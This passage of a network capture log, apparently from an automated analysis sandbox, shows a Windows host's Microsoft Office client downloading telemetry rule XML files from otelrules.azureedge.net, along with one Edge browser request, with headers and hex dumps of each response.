80	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:24 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: a2911e08-e01e-003c-21a2-34c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170824Z-r178fb8d765n474shC1DFWge7g00000001a000000000fceg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:25 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:25 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 43524bb3-601e-003e-69d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170825Z-16547b76f7fj5p7mhC1DFWf8w40000000hmg000000004tu5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:25 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:25 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 9ec2e68b-201e-0096-6cd2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170825Z-16547b76f7f2g4rlhC1DFWnx880000000h8000000000vgfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:25 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 26b51f4a-e01e-0099-4da5-34da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170825Z-r178fb8d7656shmjhC1DFWu5kw00000001bg00000000arfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:25 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:25 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 96cf3c30-101e-008d-3e69-3592e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170825Z-1749fc9bdbdkq6zthC1DFW38fn000000016000000000pgz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:25 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:25 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 2170b64b-701e-001e-68a1-34f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170825Z-r178fb8d765th6bkhC1DFWr7h000000001e0000000009cgd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:27 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:27 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:27 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: d5f81cfa-001e-0017-1dd2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170827Z-16547b76f7f9rdn9hC1DFWfk7s0000000hfg000000004drk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:27 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:27 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:27 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c3d6966f-401e-0016-3ad8-2b53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170827Z-16547b76f7f775p5hC1DFWzdvn0000000h9000000000zt70 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:27 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:27 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:27 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:27 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 682504c0-001e-005a-75d2-2cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170827Z-16547b76f7fmbrhqhC1DFWkds80000000he000000000mabc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:27 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:27 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:27 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 3b18ef07-001e-0028-3ba8-34c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170827Z-r178fb8d765r2t2rhC1DFWa9x0000000015g00000000s4n9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:27 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:27 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:27 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6028abc9-b01e-0002-6508-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170827Z-16547b76f7f7rtshhC1DFWrtqn0000000hag000000010mw7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:27 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49829	94.245.104.56	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:27 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:28 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 13 Nov 2024 17:08:27 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=b5402d0083c5b50f835ef79783ff9277bd34fb2f5a1072e0413261fdc4171bdd;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=b5402d0083c5b50f835ef79783ff9277bd34fb2f5a1072e0413261fdc4171bdd;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:28 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:28 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:28 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f5036dc0-201e-0085-07a2-3434e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170828Z-r178fb8d765th6bkhC1DFWr7h0000000019g00000000tp31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
